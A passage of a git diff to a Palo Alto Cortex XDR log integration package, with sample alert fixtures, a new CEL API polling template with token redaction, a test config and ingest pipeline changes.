ction_registry_key_name\":null,\"action_registry_value_name\":null,\"action_local_ip_v6\":[\"2a02:cf40::\"],\"action_remote_ip_v6\":null,\"action_process_instance_id\":null,\"action_process_causality_id\":null,\"os_actor_process_instance_id\":[\"\"],\"os_actor_process_image_path\":[\"\"],\"os_actor_process_causality_id\":[\"\"],\"os_actor_causality_id\":null,\"dst_agent_id\":[\"\"],\"dst_causality_actor_process_execution_time\":null,\"dst_action_external_hostname\":null,\"dst_action_country\":null,\"dst_action_external_port\":null,\"is_pcap\":false,\"alert_type\":\"Unclassified\",\"resolution_status\":\"STATUS_010_NEW\",\"resolution_comment\":null,\"dynamic_fields\":null,\"tags\":[\"ET:DESKTOP-FCCIPAN\",\"EG:k8s agents\",\"EG:windows\"],\"dss_job_title\":null,\"dss_department\":null,\"dss_country\":null,\"dss_groups\":null,\"alert_id\":\"2\",\"detection_timestamp\":1569159363318,\"name\":\"A user enabled the Windows DefaultAccount\",\"endpoint_id\":\"\",\"host_ip\":[\"192.168.2.2\"],\"host_name\":\"\",\"action\":\"DETECTED\",\"original_tags\":[\"EG:k8s agents\",\"EG:windows\",\"ET:DESKTOP-FCCIPAN\"],\"user_name\":[\"bob@example.com\"],\"mac_addresses\":null,\"source\":null,\"action_pretty\":\"Detected\"}", + "reason": "The user domain\\username enabled a default account. The default account enabled: domain\\username", + "severity": 2, + "type": [ + "info" + ] + }, + "host": { + "hostname": "", + "id": "", + "ip": [ + "192.168.2.2" + ], + "name": "", + "os": { + "name": "", + "version": "" + } + }, + "message": "A user enabled the Windows DefaultAccount", + "panw_cortex": { + "xdr": { + "action_country": [ + "UNKNOWN" + ], + "action_local_ip": [ + "89.160.20.128" + ], + "action_local_ip_v6": [ + "2a02:cf40::" + ], + "action_local_port": [ + 8080 + ], + "action_pretty": "Detected", + "action_remote_ip": [ + "1.128.0.0", + "67.43.156.0", + "89.160.20.128" + ], + "action_remote_port": [ + 9099 + ], + "actor_causality_id": [ + "" + ], + "actor_process_causality_id": [ + "" + ], + "actor_process_signature_status": [ + "Signed" + ], + "agent_host_boot_time": "2022-11-22T14:42:45.772Z", + "agent_install_type": "STANDARD", + "agent_is_vdi": false, + "agent_version": "", + "alert_id": "2", + "alert_type": "Unclassified", + "association_strength": [ + 50 + ], + "attempt_counter": 0, + "case_id": 9629, + "category": "", + "contains_featured_host": [ + "NO" + ], + "contains_featured_ip": [ + "NO" + ], + "contains_featured_user": [ + "NO" + ], + "detection_timestamp": "2019-09-22T13:36:03.318Z", + "dst_agent_id": [ + "" + ], + "event_id": [ + "2" + ], + "event_sub_type": [ + 1 + ], + "event_timestamp": [ + 1562199363118 + ], + "event_type": [ + "Process Execution" + ], + "external_id": "", + "fw_is_phishing": [ + "N/A" + ], + "is_pcap": false, + "is_whitelisted": false, + "local_insert_ts": "2023-01-10T17:44:07.792Z", + "matching_service_rule_id": "", + "matching_status": "MATCHED", + "mitre_tactic_id_and_name": [ + "TA0005 - Defense Evasion" + ], + "mitre_technique_id_and_name": [ + "T1089 - Disabling Security Tools" + ], + "original_tags": [ + "EG:k8s agents", + "EG:windows", + "ET:DESKTOP-FCCIPAN" + ], + "os_actor_process_causality_id": [ + "" + ], + "os_actor_process_command_line": [ + "" + ], + "os_actor_process_image_name": [ + "" + ], + "os_actor_process_image_path": [ + "" + ], + "os_actor_process_image_sha256": [ + "a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad" + ], + "os_actor_process_instance_id": [ + "" + ], + "os_actor_process_os_pid": [ + 996 + ], + "os_actor_process_signature_status": [ + "Signed" + ], + "os_actor_process_signature_vendor": [ + "" + ], + "os_actor_thread_thread_id": [ + 7205 + ], + "resolution_status": "STATUS_010_NEW", + "severity": "low", + "starred": true, + "tags": [ + "ET:DESKTOP-FCCIPAN", + "EG:k8s agents", + "EG:windows" + ], + "user_name": [ + "bob@example.com" + ] + } + }, + "process": { + "code_signature": { + "status": [ + "N/A" + ], + "subject_name": [ + "" + ] + }, + "command_line": [ + "" + ], + "entity_id": [ + "" + ], + "executable": [ + "" + ], + "hash": { + "md5": [ + "5eb63fb92d72bc703c3d81b2c133d713" + ], + "sha256": [ + "a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad" + ] + }, + "name": [ + "" + ], + "parent": { + "code_signature": { + "status": [ + "Signed" + ], + "subject_name": [ + "" + ] + }, + "command_line": [ + "/usr/bin/ssh -l user 10.0.0.16" + ], + "entity_id": [ + "" + ], + "executable": [ + "" + ], + "hash": { + "md5": [ + "5eb63fb92d72bc703c3d81b2c133d713" + ], + "sha256": [ + "a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad" + ] + }, + "name": [ + "" + ], + "uptime": [ + 1669528171295 + ] + }, + "pid": [ + 996 + ], + "thread": { + "id": [ + 7452 + ] + } + }, + "related": { + "hash": [ + "5eb63fb92d72bc703c3d81b2c133d713", + "a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad" + ], + "user": [ + "bob" + ] + }, + "source": { + "as": { + "number": 29518, + "organization": { + "name": "Bredband2 AB" + } + }, + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128", + "2a02:cf40::" + ], + "port": [ + 8080 + ], + "user": { + "domain": "example.com", + "email": [ + "bob@example.com" + ], + "id": [ + "bob@example.com" + ], + "name": "bob" + } + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "ET:DESKTOP-FCCIPAN", + "EG:k8s agents", + "EG:windows" + ], + "threat": { + "framework": "MITRE ATT&CK", + "tactic": { + "id": [ + "TA0005" + ], + "name": [ + "Defense Evasion" + ] + }, + "technique": { + "id": [ + "T1089" + ], + "name": [ + "Disabling Security Tools" + ] + } + }, + "user": { + "domain": "example.com", + "email": [ + "bob@example.com" + ], + "id": [ + "bob@example.com" + ], + "name": "bob" + } + }, + { + "@timestamp": "2022-09-03T10:02:43.118Z", + "ecs": { + "version": "8.11.0" + }, + "event": { + "action": "DETECTED", + "category": [ + "malware" + ], + "created": "2019-09-22T13:36:03.318Z", + "id": "", + "kind": "alert", + "original": "{\"agent_os_sub_type\":\"\",\"fw_app_category\":null,\"fw_app_id\":null,\"fw_app_subcategory\":null,\"fw_app_technology\":null,\"category\":\"\",\"causality_actor_process_command_line\":[\"\"],\"causality_actor_process_image_md5\":[\"5eb63fb92d72bc703c3d81b2c133d713\"],\"causality_actor_process_image_name\":[\"\"],\"causality_actor_process_image_path\":[\"\"],\"causality_actor_process_image_sha256\":[\"a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad\"],\"causality_actor_process_signature_status\":[\"Signed\"],\"causality_actor_process_signature_vendor\":[\"\"],\"causality_actor_causality_id\":[\"\"],\"identity_sub_type\":null,\"identity_type\":null,\"operation_name\":null,\"project\":null,\"cloud_provider\":null,\"referenced_resource\":null,\"resource_sub_type\":null,\"resource_type\":null,\"cluster_name\":null,\"container_id\":null,\"contains_featured_host\":[\"NO\"],\"contains_featured_ip\":[\"NO\"],\"contains_featured_user\":[\"NO\"],\"action_country\":[\"UNKNOWN\"],\"description\":\"The user domain\\\\username enabled a default account. The default account enabled: domain\\\\username\",\"fw_interface_to\":null,\"dns_query_name\":null,\"agent_device_domain\":null,\"fw_email_recipient\":null,\"fw_email_sender\":null,\"fw_email_subject\":null,\"events\":null,\"event_type\":[\"Process Execution\"],\"is_whitelisted\":false,\"action_file_macro_sha256\":null,\"action_file_md5\":null,\"action_file_name\":null,\"action_file_path\":null,\"action_file_sha256\":null,\"fw_device_name\":null,\"fw_rule_id\":null,\"fw_rule\":null,\"fw_serial_number\":null,\"agent_fqdn\":null,\"agent_os_type\":\"\",\"image_name\":null,\"actor_process_image_name\":[\"\"],\"actor_process_command_line\":[\"\"],\"actor_process_image_md5\":[\"5eb63fb92d72bc703c3d81b2c133d713\"],\"actor_process_image_path\":[\"\"],\"actor_process_os_pid\":[996],\"actor_process_image_sha256\":[\"a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad\"],\"actor_process_signature_status\":[\"Signed\"],\"actor_process_signature_vendor\":[\"\"],\"actor_thread_thread_id\":[7452],\"fw_is_phishing\":[\"N/A\"],\"action_local_ip\":[\"67.43.156.0\"],\"action_local_port\":null,\"fw_misc\":null,\"mitre_tactic_id_and_name\":[\"TA0005 - Defense Evasion\"],\"mitre_technique_id_and_name\":[\"T1089 - Disabling Security Tools\"],\"module_id\":null,\"fw_vsys\":null,\"os_actor_process_command_line\":[\"\"],\"os_actor_thread_thread_id\":[7205],\"os_actor_process_image_name\":[\"\"],\"os_actor_process_os_pid\":[996],\"os_actor_process_image_sha256\":[\"a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad\"],\"os_actor_process_signature_status\":[\"Signed\"],\"os_actor_process_signature_vendor\":[\"\"],\"os_actor_effective_username\":null,\"action_process_signature_status\":[\"N/A\"],\"action_process_signature_vendor\":null,\"action_registry_data\":null,\"action_registry_full_key\":null,\"action_external_hostname\":null,\"action_remote_ip\":null,\"action_remote_port\":null,\"matching_service_rule_id\":\"\",\"fw_interface_from\":null,\"starred\":true,\"action_process_image_command_line\":null,\"action_process_image_name\":null,\"action_process_image_sha256\":null,\"fw_url_domain\":null,\"user_agent\":null,\"fw_xff\":null,\"external_id\":\"\",\"severity\":\"low\",\"matching_status\":\"MATCHED\",\"end_match_attempt_ts\":null,\"local_insert_ts\":1673372647792,\"last_modified_ts\":null,\"bioc_indicator\":null,\"attempt_counter\":0,\"bioc_category_enum_key\":null,\"case_id\":9629,\"deduplicate_tokens\":null,\"filter_rule_id\":null,\"agent_version\":\"\",\"agent_ip_addresses_v6\":null,\"agent_data_collection_status\":null,\"agent_is_vdi\":false,\"agent_install_type\":\"STANDARD\",\"agent_host_boot_time\":[1669128165772],\"event_sub_type\":[1],\"association_strength\":[50],\"dst_association_strength\":null,\"story_id\":null,\"event_id\":[\"\"],\"event_timestamp\":[1662199363118],\"actor_process_instance_id\":[\"\"],\"actor_process_causality_id\":[\"\"],\"actor_causality_id\":[\"\"],\"causality_actor_process_execution_time\":[1669528171295],\"action_registry_key_name\":null,\"action_registry_value_name\":null,\"action_local_ip_v6\":[\"2a02:cf40::\"],\"action_remote_ip_v6\":null,\"action_process_instance_id\":null,\"action_process_causality_id\":null,\"os_actor_process_instance_id\":[\"\"],\"os_actor_process_image_path\":[\"\"],\"os_actor_process_causality_id\":[\"\"],\"os_actor_causality_id\":null,\"dst_agent_id\":[\"\"],\"dst_causality_actor_process_execution_time\":null,\"dst_action_external_hostname\":null,\"dst_action_country\":null,\"dst_action_external_port\":null,\"is_pcap\":false,\"alert_type\":\"Unclassified\",\"resolution_status\":\"STATUS_010_NEW\",\"resolution_comment\":null,\"dynamic_fields\":null,\"tags\":[\"ET:DESKTOP-FCCIPAN\",\"EG:k8s agents\",\"EG:windows\"],\"dss_job_title\":null,\"dss_department\":null,\"dss_country\":null,\"dss_groups\":null,\"alert_id\":\"1\",\"detection_timestamp\":1569159363318,\"name\":\"A user enabled the Windows DefaultAccount\",\"endpoint_id\":\"\",\"host_ip\":[\"192.168.2.2\"],\"host_name\":\"\",\"action\":\"DETECTED\",\"original_tags\":[\"EG:k8s agents\",\"EG:windows\",\"ET:DESKTOP-FCCIPAN\"],\"user_name\":[\"alice\\\\example\"],\"mac_addresses\":null,\"source\":null,\"action_pretty\":\"Detected\"}", + "reason": "The user domain\\username enabled a default account. The default account enabled: domain\\username", + "severity": 2, + "type": [ + "info" + ] + }, + "host": { + "hostname": "", + "id": "", + "ip": [ + "192.168.2.2" + ], + "name": "", + "os": { + "name": "", + "version": "" + } + }, + "message": "A user enabled the Windows DefaultAccount", + "panw_cortex": { + "xdr": { + "action_country": [ + "UNKNOWN" + ], + "action_local_ip": [ + "67.43.156.0" + ], + "action_local_ip_v6": [ + "2a02:cf40::" + ], + "action_pretty": "Detected", + "actor_causality_id": [ + "" + ], + "actor_process_causality_id": [ + "" + ], + "actor_process_signature_status": [ + "Signed" + ], + "agent_host_boot_time": "2022-11-22T14:42:45.772Z", + "agent_install_type": "STANDARD", + "agent_is_vdi": false, + "agent_version": "", + "alert_id": "1", + "alert_type": "Unclassified", + "association_strength": [ + 50 + ], + "attempt_counter": 0, + "case_id": 9629, + "category": "", + "contains_featured_host": [ + "NO" + ], + "contains_featured_ip": [ + "NO" + ], + "contains_featured_user": [ + "NO" + ], + "detection_timestamp": "2019-09-22T13:36:03.318Z", + "dst_agent_id": [ + "" + ], + "event_id": [ + "" + ], + "event_sub_type": [ + 1 + ], + "event_timestamp": [ + 1662199363118 + ], + "event_type": [ + "Process Execution" + ], + "external_id": "", + "fw_is_phishing": [ + "N/A" + ], + "is_pcap": false, + "is_whitelisted": false, + "local_insert_ts": "2023-01-10T17:44:07.792Z", + "matching_service_rule_id": "", + "matching_status": "MATCHED", + "mitre_tactic_id_and_name": [ + "TA0005 - Defense Evasion" + ], + "mitre_technique_id_and_name": [ + "T1089 - Disabling Security Tools" + ], + "original_tags": [ + "EG:k8s agents", + "EG:windows", + "ET:DESKTOP-FCCIPAN" + ], + "os_actor_process_causality_id": [ + "" + ], + "os_actor_process_command_line": [ + "" + ], + "os_actor_process_image_name": [ + "" + ], + "os_actor_process_image_path": [ + "" + ], + "os_actor_process_image_sha256": [ + "a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad" + ], + "os_actor_process_instance_id": [ + "" + ], + "os_actor_process_os_pid": [ + 996 + ], + "os_actor_process_signature_status": [ + "Signed" + ], + "os_actor_process_signature_vendor": [ + "" + ], + "os_actor_thread_thread_id": [ + 7205 + ], + "resolution_status": "STATUS_010_NEW", + "severity": "low", + "starred": true, + "tags": [ + "ET:DESKTOP-FCCIPAN", + "EG:k8s agents", + "EG:windows" + ], + "user_name": [ + "alice\\example" + ] + } + }, + "process": { + "code_signature": { + "status": [ + "N/A" + ], + "subject_name": [ + "" + ] + }, + "command_line": [ + "" + ], + "entity_id": [ + "" + ], + "executable": [ + "" + ], + "hash": { + "md5": [ + "5eb63fb92d72bc703c3d81b2c133d713" + ], + "sha256": [ + "a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad" + ] + }, + "name": [ + "" + ], + "parent": { + "code_signature": { + "status": [ + "Signed" + ], + "subject_name": [ + "" + ] + }, + "command_line": [ + "" + ], + "entity_id": [ + "" + ], + "executable": [ + "" + ], + "hash": { + "md5": [ + "5eb63fb92d72bc703c3d81b2c133d713" + ], + "sha256": [ + "a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad" + ] + }, + "name": [ + "" + ], + "uptime": [ + 1669528171295 + ] + }, + "pid": [ + 996 + ], + "thread": { + "id": [ + 7452 + ] + } + }, + "related": { + "hash": [ + "5eb63fb92d72bc703c3d81b2c133d713", + "a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad" + ], + "user": [ + "example" + ] + }, + "source": { + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.0", + "2a02:cf40::" + ], + "user": { + "domain": "alice", + "name": "example" + } + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "ET:DESKTOP-FCCIPAN", + "EG:k8s agents", + "EG:windows" + ], + "threat": { + "framework": "MITRE ATT&CK", + "tactic": { + "id": [ + "TA0005" + ], + "name": [ + "Defense Evasion" + ] + }, + "technique": { + "id": [ + "T1089" + ], + "name": [ + "Disabling Security Tools" + ] + } + }, + "user": { + "domain": "alice", + "name": "example" + } + }, + { + "destination": { + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": [ + "0.0.0.0", + "2a02:cf40::" + ], + "port": [ + 80 + ] + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "action": "REPORTED", + "category": [ + "malware" + ], + "created": "2025-02-17T09:31:51.000Z", + "id": "213141efab31231abcdef2323190863", + "kind": "alert", + "original": "{\"external_id\":\"213141efab31231abcdef2323190863\",\"severity\":\"low\",\"matching_status\":\"UNMATCHABLE\",\"end_match_attempt_ts\":null,\"local_insert_ts\":1739791249619,\"last_modified_ts\":null,\"bioc_indicator\":null,\"matching_service_rule_id\":null,\"attempt_counter\":0,\"bioc_category_enum_key\":null,\"case_id\":null,\"is_whitelisted\":false,\"starred\":false,\"deduplicate_tokens\":\"461f99cdc7384158871fdd09b15eab03,d802719b3ce44eee880eaf8b5b0fd0e6\",\"filter_rule_id\":0,\"mitre_technique_id_and_name\":null,\"mitre_tactic_id_and_name\":null,\"agent_version\":null,\"agent_ip_addresses_v6\":null,\"agent_device_domain\":null,\"agent_fqdn\":null,\"agent_os_type\":\"NO_HOST\",\"agent_os_sub_type\":null,\"agent_data_collection_status\":null,\"agent_is_vdi\":null,\"agent_install_type\":\"NA\",\"agent_host_boot_time\":null,\"event_sub_type\":null,\"module_id\":null,\"association_strength\":null,\"dst_association_strength\":null,\"story_id\":null,\"event_id\":null,\"event_type\":[\"Network Event\"],\"event_timestamp\":null,\"actor_process_instance_id\":null,\"actor_process_image_path\":null,\"actor_process_image_name\":null,\"actor_process_command_line\":null,\"actor_process_signature_status\":[\"N/A\"],\"actor_process_signature_vendor\":null,\"actor_process_image_sha256\":null,\"actor_process_image_md5\":null,\"actor_process_causality_id\":null,\"actor_causality_id\":null,\"actor_process_os_pid\":null,\"actor_thread_thread_id\":null,\"causality_actor_process_image_name\":null,\"causality_actor_process_command_line\":null,\"causality_actor_process_image_path\":null,\"causality_actor_process_signature_vendor\":null,\"causality_actor_process_signature_status\":[\"N/A\"],\"causality_actor_causality_id\":null,\"causality_actor_process_execution_time\":null,\"causality_actor_process_image_md5\":null,\"causality_actor_process_image_sha256\":null,\"action_file_path\":null,\"action_file_name\":null,\"action_file_md5\":null,\"action_file_sha256\":null,\"action_file_macro_sha256\":null,\"action_registry_data\":null,\"action_registry_key_name\":null,\"action_registry_value_name\":null,\"action_registry_full_key\":null,\"action_local_ip\":[\"127.0.0.1\"],\"action_local_ip_v6\":[\"2a02:cf40::\"],\"action_local_port\":[8080],\"action_remote_ip\":[\"0.0.0.0\"],\"action_remote_ip_v6\":[\"2a02:cf40::\"],\"action_remote_port\":[80],\"action_external_hostname\":null,\"action_country\":[\"UNKNOWN\"],\"action_process_instance_id\":null,\"action_process_causality_id\":null,\"action_process_image_name\":null,\"action_process_image_sha256\":null,\"action_process_image_command_line\":null,\"action_process_signature_status\":[\"N/A\"],\"action_process_signature_vendor\":null,\"os_actor_effective_username\":null,\"os_actor_process_instance_id\":null,\"os_actor_process_image_path\":null,\"os_actor_process_image_name\":null,\"os_actor_process_command_line\":null,\"os_actor_process_signature_status\":[\"N/A\"],\"os_actor_process_signature_vendor\":null,\"os_actor_process_image_sha256\":null,\"os_actor_process_causality_id\":null,\"os_actor_causality_id\":null,\"os_actor_process_os_pid\":null,\"os_actor_thread_thread_id\":null,\"fw_app_id\":null,\"fw_interface_from\":null,\"fw_interface_to\":null,\"fw_rule\":null,\"fw_rule_id\":null,\"fw_device_name\":null,\"fw_serial_number\":null,\"fw_url_domain\":null,\"fw_email_subject\":null,\"fw_email_sender\":null,\"fw_email_recipient\":null,\"fw_app_subcategory\":null,\"fw_app_category\":null,\"fw_app_technology\":null,\"fw_vsys\":null,\"fw_xff\":null,\"fw_misc\":null,\"fw_is_phishing\":[\"N/A\"],\"dst_agent_id\":null,\"dst_causality_actor_process_execution_time\":null,\"dns_query_name\":null,\"dst_action_external_hostname\":null,\"dst_action_country\":null,\"dst_action_external_port\":null,\"is_pcap\":false,\"contains_featured_host\":[\"NO\"],\"contains_featured_user\":[\"NO\"],\"contains_featured_ip\":[\"NO\"],\"image_name\":null,\"image_id\":null,\"container_id\":null,\"container_name\":null,\"namespace\":null,\"cluster_name\":null,\"referenced_resource\":null,\"operation_name\":null,\"identity_sub_type\":null,\"identity_type\":null,\"project\":null,\"cloud_provider\":null,\"resource_type\":null,\"resource_sub_type\":null,\"user_agent\":null,\"alert_type\":\"Unclassified\",\"resolution_status\":\"STATUS_010_NEW\",\"resolution_comment\":null,\"dynamic_fields\":null,\"tags\":[\"DS:Test vendor-1/VPN & Firewall-1\"],\"malicious_urls\":null,\"alert_id\":\"2\",\"detection_timestamp\":1739784711000,\"name\":\"Alert Name Example 1\",\"category\":null,\"endpoint_id\":null,\"description\":\"Alert Description 1\",\"host_ip\":null,\"host_name\":null,\"action\":\"REPORTED\",\"source\":\"Test vendor-1 - VPN & Firewall-1\",\"original_tags\":[\"DS:Test vendor-1/VPN & Firewall-1\"],\"user_name\":null,\"mac_addresses\":null,\"action_pretty\":\"Detected (Reported)\"}", + "reason": "Alert Description 1", + "severity": 2, + "type": [ + "info" + ] + }, + "host": { + "os": { + "name": "NO_HOST" + } + }, + "message": "Alert Name Example 1", + "panw_cortex": { + "xdr": { + "action_country": [ + "UNKNOWN" + ], + "action_local_ip": [ + "127.0.0.1" + ], + "action_local_ip_v6": [ + "2a02:cf40::" + ], + "action_local_port": [ + 8080 + ], + "action_pretty": "Detected (Reported)", + "action_remote_ip": [ + "0.0.0.0" + ], + "action_remote_ip_v6": [ + "2a02:cf40::" + ], + "action_remote_port": [ + 80 + ], + "actor_process_signature_status": [ + "N/A" + ], + "agent_install_type": "NA", + "alert_id": "2", + "alert_type": "Unclassified", + "attempt_counter": 0, + "contains_featured_host": [ + "NO" + ], + "contains_featured_ip": [ + "NO" + ], + "contains_featured_user": [ + "NO" + ], + "deduplicate_tokens": "461f99cdc7384158871fdd09b15eab03,d802719b3ce44eee880eaf8b5b0fd0e6", + "detection_timestamp": "2025-02-17T09:31:51.000Z", + "event_type": [ + "Network Event" + ], + "external_id": "213141efab31231abcdef2323190863", + "filter_rule_id": "0", + "fw_is_phishing": [ + "N/A" + ], + "is_pcap": false, + "is_whitelisted": false, + "local_insert_ts": "2025-02-17T11:20:49.619Z", + "matching_status": "UNMATCHABLE", + "original_tags": [ + "DS:Test vendor-1/VPN & Firewall-1" + ], + "os_actor_process_signature_status": [ + "N/A" + ], + "resolution_status": "STATUS_010_NEW", + "severity": "low", + "source": "Test vendor-1 - VPN & Firewall-1", + "starred": false, + "tags": [ + "DS:Test vendor-1/VPN & Firewall-1" + ] + } + }, + "process": { + "code_signature": { + "status": [ + "N/A" + ] + }, + "parent": { + "code_signature": { + "status": [ + "N/A" + ] + } + } + }, + "source": { + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": [ + "127.0.0.1", + "2a02:cf40::" + ], + "port": [ + 8080 + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "DS:Test vendor-1/VPN & Firewall-1" + ] + } + ] +} diff --git a/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/system/test-cel-config.yml b/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/system/test-cel-config.yml new file mode 100644 index 00000000000..a4c19dcb6ed --- /dev/null +++ b/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/system/test-cel-config.yml @@ -0,0 +1,14 @@ +service: panw-cortex-xdr-mock +input: cel +vars: + logging: + level: debug +data_stream: + vars: + url: 'http://{{Hostname}}:{{Port}}' + api_token: cel-token + token_id: 2 + preserve_original_event: true + enable_request_tracer: true +assert: + hit_count: 2 diff --git a/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/system/test-http-config.yml b/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/system/test-httpjson-config.yml similarity index 100% rename from packages/panw_cortex_xdr/data_stream/alerts/_dev/test/system/test-http-config.yml rename to packages/panw_cortex_xdr/data_stream/alerts/_dev/test/system/test-httpjson-config.yml diff --git a/packages/panw_cortex_xdr/data_stream/alerts/agent/stream/cel.yml.hbs b/packages/panw_cortex_xdr/data_stream/alerts/agent/stream/cel.yml.hbs new file mode 100644 index 00000000000..f810deb02f9 --- /dev/null +++ b/packages/panw_cortex_xdr/data_stream/alerts/agent/stream/cel.yml.hbs @@ -0,0 +1,130 @@ +config_version: 2 +interval: {{interval}} +{{#if enable_request_tracer}} +resource.tracer.filename: "../../logs/cel/http-request-trace-*.ndjson" +resource.tracer.maxbackups: 5 +{{/if}} +resource.url: {{url}} +state: + token_id: "{{token_id}}" + api_token: {{api_token}} + initial_interval: {{initial_interval}} + path: /public_api/v2/alerts/get_alerts_multi_events + want_more: false + filter_time_field: server_creation_time + sort_time_field: creation_time + sort_time_order: asc + {{!-- dynamic batch_size is not supported by the API and defaults to 100 --}} + batch_size: 100 +{{#if advanced_sec_level }} + advanced_sec_level: true +{{/if}} +redact: + fields: + - token_id + - api_token +program: | + ( + state.want_more ? + state.?cursor.filter_time + : + optional.of(state.?cursor.last_timestamp.orValue(int(now - duration(state.initial_interval)) * 1000)) + ).as(filter_time, state.with( + post_request( + state.url.trim_right("/") + state.path, "application/json", { + "request_data": { + "sort": { + "field": state.sort_time_field, + "keyword": state.sort_time_order, + }, + ?"filters": filter_time.optMap(f, [{ + "field": state.filter_time_field, + "operator": "gte", + "value": f, + }]), + ?"search_from": state.?search_from, + ?"search_to": state.?search_to, + } + }.encode_json() + ).as(req, has(state.advanced_sec_level) ? + { + "timestamp": int(now) * 1000, + "nonce": uuid().sha256().hex(), + }.as(t, t.with({ + "auth": (string(state.api_token) + string(t.nonce) + string(t.timestamp)).sha256().hex(), + })).as(h, req.with({ + "Header":{ + "x-xdr-timestamp": [h.timestamp], + "x-xdr-nonce": [h.nonce], + "Authorization": [h.auth], + "x-xdr-auth-id": [state.token_id], + } + })) + : + req.with({ + "Header":{ + "Authorization": [state.api_token], + "x-xdr-auth-id": [state.token_id], + } + }) + ).do_request().as(resp, resp.StatusCode == 200 ? + bytes(resp.Body).decode_json().as(body, + ( + int(state.?search_from.orValue(0)) + body.reply.alerts.size() < body.reply.total_count + ).as(want_more, { + ?"search_from": want_more ? optional.of(int(state.?search_from.orValue(0)) + body.reply.alerts.size()) : optional.none(), + ?"search_to": want_more ? optional.of(int(state.?search_from.orValue(0)) + body.reply.alerts.size() + int(state.batch_size)) : optional.none(), + "want_more": want_more, + "events": body.reply.alerts.map(e, { + "message": e.encode_json(), + }), + "cursor": { + ?"last_timestamp": ( + body.?reply.alerts.orValue([]).size() > 0 ? + optional.of(body.reply.alerts.map(e, int(e.local_insert_ts)).max()) + : + state.?cursor.last_timestamp + ), + ?"filter_time": filter_time, + }, + }) + ) + : + { + "events": { + "error": { + "code": string(resp.StatusCode), + "id": string(resp.Status), + "message": "POST " + state.url.trim_right("/") + state.path + ": " + ( + size(resp.Body) != 0 ? + string(resp.Body) + : + string(resp.Status) + ' (' + string(resp.StatusCode) + ')' + ), + }, + }, + "want_more": false, + } + ) + )) +fields_under_root: true +fields: + _conf: + api: v2 +tags: +{{#if preserve_original_event}} + - preserve_original_event +{{/if}} +{{#if preserve_duplicate_custom_fields}} + - preserve_duplicate_custom_fields +{{/if}} +{{#each tags as |tag|}} + - {{tag}} +{{/each}} +{{#contains "forwarded" tags}} +publisher_pipeline.disable_host: true +{{/contains}} +{{#if processors}} +processors: +{{processors}} +{{/if}} diff --git a/packages/panw_cortex_xdr/data_stream/alerts/elasticsearch/ingest_pipeline/default.yml b/packages/panw_cortex_xdr/data_stream/alerts/elasticsearch/ingest_pipeline/default.yml index 8e33b82c12a..6cc0dd69842 100644 --- a/packages/panw_cortex_xdr/data_stream/alerts/elasticsearch/ingest_pipeline/default.yml +++ b/packages/panw_cortex_xdr/data_stream/alerts/elasticsearch/ingest_pipeline/default.yml @@ -1,15 +1,19 @@ --- description: Pipeline for Palo Alto XDR API. processors: + - set: + field: ecs.version + value: '8.11.0' + - fail: + tag: cel_failure + if: ctx.error?.message != null && ctx.message == null && ctx.event?.original == null + message: error message set and no data to process - rename: description: Use 'event.original' if present (e.g. when reprocessing), otherwise 'message'. field: message target_field: event.original ignore_missing: true if: ctx.event?.original == null - - set: - field: ecs.version - value: '8.11.0' - set: field: event.kind value: alert @@ -26,14 +30,6 @@ processors: target_field: panw_cortex.xdr - drop: if: ctx.panw_cortex?.xdr?.reply?.result_count == 0 - - fingerprint: - fields: - - panw_cortex.xdr.events.event_timestamp - - panw_cortex.xdr.events.event_id - - panw_cortex.xdr.events.event_type - - panw_cortex.xdr.alert_id - target_field: "_id" - ignore_missing: true - script: description: Drops null/empty values recursively lang: painless @@ -51,571 +47,14 @@ processors: return false; } drop(ctx); - - date: - field: panw_cortex.xdr.events.event_timestamp - formats: - - UNIX_MS - if: ctx.panw_cortex?.xdr?.events?.event_timestamp != null - - date: - field: panw_cortex.xdr.events.agent_host_boot_time - target_field: panw_cortex.xdr.events.agent_host_boot_time - formats: - - UNIX_MS - if: ctx.panw_cortex?.xdr?.events?.agent_host_boot_time != null - - date: - field: panw_cortex.xdr.detection_timestamp - target_field: event.created - formats: - - UNIX_MS - if: ctx.panw_cortex?.xdr?.detection_timestamp != null - - date: - field: panw_cortex.xdr.end_match_attempt_ts - target_field: panw_cortex.xdr.end_match_attempt_ts - formats: - - UNIX_MS - if: ctx.panw_cortex?.xdr?.end_match_attempt_ts != null - - date: - field: 